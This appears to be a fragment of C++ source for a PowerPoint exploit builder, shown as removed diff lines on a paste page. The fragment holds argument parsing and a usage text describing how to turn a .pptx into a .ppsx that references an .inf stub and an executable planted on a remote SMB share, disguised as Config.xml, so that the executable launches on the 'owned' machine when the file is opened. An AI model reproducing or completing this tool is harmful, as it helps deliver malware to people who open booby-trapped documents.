- stdOpt.clear();
- stdOpt.append(argv[i]);
- if (stdOpt.compare(L"--force-upload") == 0) {
- *bForceUpload = true;
- continue;
- }
- if ((i+1) >= argc) {
- printf("[-] ERROR: malformed input\n");
- return false;
- }
- if ( stdOpt.compare(L"-p") == 0 ) {
- fnamePptIn ->clear();
- fnamePptIn ->append( argv[i+1]);
- i+=1;
- bFnamePptIn = true;
- continue;
- }
- if ( stdOpt.compare(L"-smb") == 0 ) {
- smbPath ->clear();
- smbPath ->append( argv[i+1]);
- i+=1;
- bSmbPath = true;
- continue;
- }
- if ( stdOpt.compare(L"-ef") == 0 ) {
- fnameExe ->clear();
- fnameExe ->append( argv[i+1]);
- i+=1;
- bFnameExe = true;
- continue;
- }
- if ( stdOpt.compare(L"-eof") == 0 ) {
- fnameExeOnSmb ->clear();
- fnameExeOnSmb ->append( argv[i+1]);
- i+=1;
- bFnameExeOnSmb = true;
- continue;
- }
- if ( stdOpt.compare(L"-iof") == 0 ) {
- fnameInfOnSmb ->clear();
- fnameInfOnSmb ->append( argv[i+1]);
- i+=1;
- bFnameInfOnSmb = true;
- continue;
- }
- }
- if (!bFnamePptIn || !bSmbPath || !bFnameExe || !bFnameExeOnSmb || !bFnameInfOnSmb) {
- printf("[-] ERROR: Not all options specified\n");
- return false;
- }
- return true;
- }
- void print_usage_and_exit(wchar_t *exe) {
- wprintf(
- L" **************************************************************** \n"
- L"[?] Usage: %s [option|[option]...] \n"
- L" **************************************************************** \n"
- L" options: \n"
- L" -p - path to input PowerPoint presentation file; \n"
- L" -smb - UNC path on remote server in which files should be \n"
- L" placed, f.e: \\\\192.168.3.100\\public ; \n"
- L" -ef - path to executable file to be launched on 0wned \n"
- L" machine; content of file 'll be stored into -eof \n"
- L" file; \n"
- L" -eof - name of file into which -ef file's content to be \n"
- L" stored; exploit uploads this file onto -smb path \n"
- L" automatically; make sure that -eof file is located \n"
- L" on remote server before exploitation phase; \n"
- L" -iof - name of .inf file to be stored on remote server; \n"
- L" exploit extracts .inf stub from self and stores into \n"
- L" file on remote host automatically; make sure that \n"
- L" this file exists on remote server before exploitation \n"
- L" phase; \n"
- L" --force-upload \n"
- L" - specifies explicit file's uploading to remote server; \n"
- L" **************************************************************** \n"
- L" EXAMPLE: \n"
- L" -p a.pptx -smb \\\\192.168.0.1\\public -ef E:\\stub.exe \\ \n"
- L" -eof Config.xml -iof Preview.inf --force-upload \n"
- L" creates a.pptx.saved.ppsx file from a.pptx; \n"
- L" stores stub.exe into \\\\192.168.0.1\\public\\Config.xml; \n"
- L" stores .inf stub into \\\\192.168.0.1\\public\\Preview.inf; \n"
- L" **************************************************************** \n"
- L" NOTES: \n"
- L" -smb, -iof, -eof are written into presentations, so make sure \n"
- " that specified things exist in real life; \n"
- L" **************************************************************** \n",
- exe);
- ExitProcess(0);
- }
- /* EOF
- */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement